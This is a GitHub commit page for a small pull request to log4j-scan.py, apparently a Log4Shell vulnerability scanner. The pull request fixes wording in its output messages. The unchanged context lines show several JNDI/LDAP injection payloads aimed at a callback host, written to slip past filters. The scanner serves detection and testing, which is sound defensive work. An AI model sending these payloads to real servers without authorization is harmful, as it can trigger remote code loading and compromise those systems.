Skip to content

Commit

Permalink
Merge pull request fullhunt#94 from nahberry/main
Browse files Browse the repository at this point in the history
  • Loading branch information
mazen160 authored Dec 25, 2021
2 parents 43a2140 + 880ce4b commit 3a51611
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions log4j-scan.py
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,7 @@
"${jndi:ldap://127.0.0.1#{{callback_host}}:1389/{{random}}}", # Source: https://twitter.com/marcioalm/status/1471740771581652995,
"${jndi:ldap://127.0.0.1#{{callback_host}}/{{random}}}",
"${jndi:ldap://127.1.1.1#{{callback_host}}/{{random}}}"
]
]


parser = argparse.ArgumentParser()
Expand Down Expand Up @@ -374,9 +374,9 @@ def main():
time.sleep(int(args.wait_time))
records = dns_callback.pull_logs()
if len(records) == 0:
cprint("[•] Targets does not seem to be vulnerable.", "green")
cprint("[•] Targets do not seem to be vulnerable.", "green")
else:
cprint("[!!!] Target Affected", "yellow")
cprint("[!!!] Targets Affected", "yellow")
for i in records:
cprint(i, "yellow")

Expand Down

0 comments on commit 3a51611

Please sign in to comment.